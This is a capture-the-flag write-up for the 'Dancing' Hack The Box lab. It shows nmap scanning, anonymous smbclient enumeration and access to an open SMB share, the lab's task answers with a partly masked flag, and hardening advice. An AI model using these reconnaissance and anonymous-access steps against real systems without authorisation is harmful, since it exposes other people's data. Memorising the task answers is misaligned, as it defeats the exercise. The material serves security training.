Dancing is a Very Easy Windows machine that introduces the Server Message Block (SMB) protocol and demonstrates the risks of misconfigured SMB shares allowing access without authentication. The machine has multiple open ports, including SMB (445/TCP) with a publicly accessible share containing the flag.

Path to root, at a glance:

  • Scan the target → discover open ports including 445 (SMB)
  • Enumerate SMB shares using smbclient
  • Find accessible share WorkShares with blank password
  • Navigate to James.P directory and download flag.txt

Nmap

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Dancing]
└─$ sudo nmap -Pn -A 10.129.119.75
Starting Nmap 7.99 ( https://nmap.org ) at 2021-09-30 17:00 -0400
Nmap scan report for 10.129.119.75
Host is up (0.36s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Device type: general purpose
Running: Microsoft Windows 2019
OS CPE: cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2019
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-08-29T01:06:07
|_  start_date: N/A
|_clock-skew: 3h59m59s

TRACEROUTE (using port 110/tcp)
HOP RTT       ADDRESS
1   390.09 ms 10.10.14.1
2   390.40 ms 10.129.119.75

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 349.11 seconds

The scan reveals:

  • Port 445/tcp: SMB (Server Message Block) - Microsoft-ds
  • Port 139/tcp: NetBIOS Session Service
  • Port 135/tcp: Microsoft RPC
  • Port 5985/tcp: HTTP (WinRM)
  • OS: Microsoft Windows Server 2019

The Service: SMB (Server Message Block)

SMB (Server Message Block) is a network file sharing protocol used primarily in Windows environments. Key characteristics:

  • Ports: 445 (direct SMB), 139 (NetBIOS over TCP)
  • Function: File and printer sharing, inter-process communication
  • Authentication: Username/password or guest/anonymous access
  • Common vulnerabilities: Null sessions, misconfigured shares, default credentials

Exploitation: Anonymous SMB Access

Enumerating Shares

First, list available SMB shares using smbclient with the -L flag:

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Dancing]
└─$ smbclient -L //10.129.119.75
Password for [WORKGROUP\r3vpwnx]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk

Available shares:

  • ADMIN$ - Administrative share (requires admin privileges)
  • C$ - Default administrative share (requires admin privileges)
  • IPC$ - Inter-process communication (requires authentication)
  • WorkShares - Custom share (likely accessible)

Accessing the WorkShares Share

Since we don’t know credentials, we try to connect with a blank password (-N flag):

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Dancing]
└─$ smbclient -N //10.129.119.75/WorkShares
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Mar 29 04:22:01 2021
  ..                                  D        0  Mon Mar 29 04:22:01 2021
  Amy.J                               D        0  Mon Mar 29 05:08:24 2021
  James.P                             D        0  Thu Jun  3 04:38:03 2021

                5114111 blocks of size 4096. 1733488 blocks available

Change into James.P directory and list contents:

smb: \> cd James.P
smb: \James.P\> dir
  .                                   D        0  Thu Jun  3 04:38:03 2021
  ..                                  D        0  Thu Jun  3 04:38:03 2021
  flag.txt                            A       32  Mon Mar 29 05:26:57 2021

                5114111 blocks of size 4096. 1733488 blocks available

Downloading and Reading the Flag

Use the get command to download the flag. To display it directly without saving, redirect to /dev/stdout:

smb: \James.P\> get flag.txt /dev/stdout
5f61c********************64 getting file \James.P\flag.txt of size 32 as /dev/stdout (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

The flag is displayed immediately before the transfer completion message.

Task Answers

1 What does the 3-letter acronym SMB stand for? Server Message Block
2 What port does SMB use to operate at? 445
3 What is the service name for port 445 that came up in our Nmap scan? microsoft-ds
4 What is the ‘flag’ or ‘switch’ that we can use with the smbclient utility to ‘list’ the available SMB shares on Dancing? -L
5 How many shares are there on Dancing? 4
6 What is the name of the share we are able to access in the end with a blank password? WorkShares
7 What is the command we can use within the SMB shell to download the files we find? get
8 Submit the flag: 5f61c********************64

Key Vulnerabilities

  1. Anonymous/Guest Access
    The most critical vulnerability is allowing access to the WorkShares share without requiring authentication. This exposes sensitive data to anyone who can reach the SMB service.

  2. Sensitive Data Exposure
    The flag file was placed in a share that doesn’t require authentication, making it accessible to any anonymous user.

  3. Default Administrative Shares
    While ADMIN$ and C$ require admin access, their presence provides additional attack surface for potential privilege escalation.

Security Recommendations

  • Disable guest/anonymous access - Require authentication for all SMB shares
  • Implement proper share permissions - Apply principle of least privilege
  • Use SMB signing/encryption - Protect against man-in-the-middle attacks
  • Restrict access by IP - Limit SMB access to trusted networks only
  • Disable default administrative shares - Or restrict them to specific admin users
  • Regular security audits - Check for misconfigured shares and permissions
  • Use Windows Firewall - Restrict SMB access to authorized subnets

Why It Worked

This machine demonstrates how a single misconfiguration—allowing guest access to an SMB share can lead to data exposure. Even though Windows has robust security mechanisms, improper configurations can nullify these protections. The simplicity of the exploitation highlights the importance of proper SMB security configuration in enterprise environments.